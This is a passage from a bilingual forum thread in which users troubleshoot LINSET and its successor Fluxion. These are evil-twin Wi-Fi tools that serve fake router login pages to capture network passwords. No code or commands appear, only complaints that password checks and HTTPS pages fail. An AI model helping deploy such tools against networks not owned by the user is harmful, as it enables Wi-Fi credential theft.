Me pasa lo mismo que el compa de mas arriba,lo probe con fluxion(la continuacion de linset) y me pasaba eso,no importaba que pagina utilizara,la neutra,la de arris,la de belkin,la de tu mama(es joda),no anda y no muestra si la contraseña fue correcta o no.

Me pasa exactamente lo mismo probando con mi propia red no logro que me muestre si es correcta o no la contraseña (Fluxion)
Título: Re:LINSET 0.14 + GUI w/ HTTPS SSL Certf.
Publicado por: tuthieu en 01 de Diciembre de 2016, 12:54:26 PM
The old linset with https doesn't work anymore.
Did you start to make new project?
I'm looking forward to hearing news from you.
Título: Re:LINSET 0.14 + GUI w/ HTTPS SSL Certf.
Publicado por: SherlockH en 06 de Diciembre de 2016, 01:02:47 AM
Saben si alguien continúa este proyecto? Qué versión recomendarían usar? Por lo que vi a todas les faltaba algo, o problemas con las www, o problemas con las http =(

Voy a ir probando las distintas versiones y si encuentro alguna que funcione en esos dos escenarios, lo comento.
Título: Re:LINSET 0.14 + GUI w/ HTTPS SSL Certf.
Publicado por: tuthieu en 07 de Diciembre de 2016, 12:23:19 PM
You are not allowed to view links. Register or Login
Saben si alguien continúa este proyecto? Qué versión recomendarían usar? Por lo que vi a todas les faltaba algo, o problemas con las www, o problemas con las http =(

Voy a ir probando las distintas versiones y si encuentro alguna que funcione en esos dos escenarios, lo comento.
I know the Fluxion dev edtion works with HTTPS.
But I don't know how to use it.